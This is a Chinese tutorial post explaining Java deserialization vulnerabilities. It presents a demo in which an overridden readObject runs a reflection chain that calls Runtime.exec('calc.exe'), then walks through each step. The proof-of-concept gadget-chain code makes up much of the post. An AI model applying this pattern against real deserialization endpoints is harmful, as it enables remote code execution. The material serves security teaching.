java反序列化原理-Demo(二)
java反序列化原理-Demo(二)
0x00 测试代码以及运行结果
测试代码:
网站建设哪家好,找创新互联!专注于网页设计、网站建设、微信开发、微信平台小程序开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了辉县免费建站欢迎大家使用!
package test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class ReflectionPlay implements Serializable{
public static void main(String[] args) throws Exception {
new ReflectionPlay().run();
}
public void run() throws Exception {
byte[] ObjectBytes=serialize(getObject());
deserialize(ObjectBytes);
}
//在此方法中返回恶意对象
public Object getObject() {
String command = "calc.exe";
Object firstObject = Runtime.class;
ReflectionObject[] reflectionChains = {
/*
* Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",
new Class[] {}).invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
*
* */
//调用 Runtime.class 的getMethod方法,寻找 getRuntime方法,得到一个Method对象(getRuntime方法)
//等同于 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//调用 Method 的 invoker 方法可以得到一个Runtime对象
// 等同于 method.invoke(null),静态方法不用传入对象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//调用RunTime对象的exec方法,并将 command作为参数执行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};
return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
}
/*
* 序列化对象到byte数组
* */
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
/*
* 从byte数组中反序列化对象
* */
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
/*
* 一个模拟拥有漏洞的类,主要提供的功能是根据自己的属性中的值来进行反射调用
* */
class ReflectionObject implements Serializable{
private String methodName;
private Class[] paramTypes;
private Object[] args;
public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
//根据 methodName, paramTypes 来寻找对象的方法,利用 args作为参数进行调用
public Object transform(Object input) throws Exception {
Class inputClass = input.getClass();
return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
}
}
/*
* 一个用来模拟提供恶意代码的类,
* 主要的功能是将 ReflectionObject进行串联调用,与ReflectionObject一起构成漏洞代码的一部分
* */
class ReflectionChains implements Serializable{
private Object firstObject;
private ReflectionObject[] reflectionObjects;
public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains构造方法
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}
public Object execute() throws Exception {
Object concurrentObject = firstObject;
for (ReflectionObject reflectionObject : reflectionObjects) {
concurrentObject = reflectionObject.transform(concurrentObject);
System.out.println(concurrentObject);
}
return concurrentObject;
}
}
/**
* 一个等待序列化的类,拥有一个属性和一个重写了的readObject方法
* 并且在readObject方法中执行了该属性的一个方法
* */
class ReadObject implements Serializable {
private ReflectionChains reflectionChains;
public ReadObject(ReflectionChains reflectionChains) {
this.reflectionChains = reflectionChains;
}
//当反序列化的时候,这个代码会被调用
//该方法被调用的时候其属性都是空
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
try {
//用来模拟当readObject的时候,对自身的属性进行了一些额外的操作
reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
reflectionChains.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
运行结果:
0x01 测试代码分析
涉及到的类:
类名 | 是否继承 Serializable | 方法名 |
---|---|---|
ReflectionObject | 继承 | transform |
ReflectionChains | 继承 | execute |
ReadObject | 继承 | readObject(重写) |
注:要想产生反序列漏洞,需要重写readObjec方法
代码流程:
- serialize(getObject());将一个对象序列化
getObject(); 生成一个ReflectionObject数组,包含三个ReflectionObject对象;然后使用ReflectionObject数组生成一个ReflectionChains对象,继续使用ReflectionChains对象生成一个ReadObject对象
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //调用 Method 的 invoker 方法可以得到一个Runtime对象 // 等同于 method.invoke(null),静态方法不用传入对象 new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //调用RunTime对象的exec方法,并将 command作为参数执行命令 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command}) }; return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
- deserialize(ObjectBytes);将序列化后的字节反序列化
将传入的字节进行反序列化,因为传入的字节是一个ReadObjec对象序列化后的,因此在反序列化时需要调用ReadObjec的readObjec方法(该方法已经被重写)private void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { try { //用来模拟当readObject的时候,对自身的属性进行了一些额外的操作 reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null); reflectionChains.execute(); } catch (Exception e) { e.printStackTrace(); } }
在这里我们需要注重看
在生成ReadObject对象时传入的参数是ReflectionChains对象,所以这里调用的execute()方法就是ReflectionChains的execute()方法。
接着分析ReflectionChains的execute()方法:public Object execute() throws Exception { Object concurrentObject = firstObject; for (ReflectionObject reflectionObject : reflectionObjects) { concurrentObject = reflectionObject.transform(concurrentObject); System.out.println(concurrentObject); } return concurrentObject; }
关键代码:
由上面可知生成ReflectionChains对象时传入的参数是ReflectionObject数组,这段代码的含义便是:遍历ReflectionObject数组,每一个元素(ReflectionObject)执行transform方法
继续分析ReflectionObject的transform方法:public Object transform(Object input) throws Exception { Class inputClass = input.getClass(); 得到input对象是那个类的类名 return inputClass.getMethod(methodName, paramTypes).invoke(input, args); 通过类名调用该类的某一方法 }
注意:
通过以上分析可以了解到,进行反序列化的反射链为:
deserialize(ObjectBytes); 调用ReadObject类的readObject方法;接下来调用ReflectionChains类的execute方法;接下来通过遍历ReflectionObject数组调用ReflectionObject类的transform方法
0x02 核心分析
通过以上代码分析看,最终需要执行的便是以下代码:
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//调用 Method 的 invoker 方法可以得到一个Runtime对象
// 等同于 method.invoke(null),静态方法不用传入对象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//调用RunTime对象的exec方法,并将 command作为参数执行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
等同于执行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
等同于执行了:method.invoke(null),静态方法不用传入对象
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
RunTime对象的exec方法,并将 command作为参数执行命令
第一个对象执行完成:
Runtime.class.getMethod("getRuntime", new Class[0]);
输出的结果:java.lang.Runtime.getRuntime() 输出的是一个类
第二个对象执行完成:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
输出结果:java.lang.Runtime@74a14482 输出的是一个Runtime的对象
第二个对象执行完成:
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")
0x03补充
package test;
import java.lang.reflect.InvocationTargetException;
public class test5 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException {
//Class inputClass = input.getClass();
//inputClass.getMethod(methodName, paramTypes).invoke(input, args)
//new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
Class inputClass1 = Runtime.class.getClass();
Object concurrentObject1 = inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
System.out.println(inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}));
//public static java.lang.Runtime java.lang.Runtime.getRuntime()
//new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
Class inputClass2 = concurrentObject1.getClass();
Object concurrentObject2 = inputClass2.getMethod("invoke",new Class[]{Object.class, Object[].class}).invoke(concurrentObject1, new Object[]{null, new Object[0]});
System.out.println(concurrentObject2);
//java.lang.Runtime@3d4eac69
//new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
Class inputClass3 = concurrentObject2.getClass();
Object concurrentObject3 = inputClass3.getMethod("exec",new Class[]{String.class}).invoke(concurrentObject2,new Object[]{"calc.exe"});
System.out.println(concurrentObject3);
/*
* 对比user类:
* inputClass.getMethod(methodName, paramTypes).invoke(input, args)
* 对参数说明:
* inputClass user.getClass()
* methodName 调用的方法名称
* paramTypes 调用方法的参数类型
* input 是 inputClass的一个对象
* args 调用方法的参数
*
* 函数返回结果:
* input对象调用methodName的方法(传入的参数是args)返回的结果:比如 void setName(String name){} 返回的是null
* */
}
}
参考链接:http://www.freebuf.com/vuls/170344.html
文章题目:java反序列化原理-Demo(二)
标题URL:http://scyanting.com/article/poecdh.html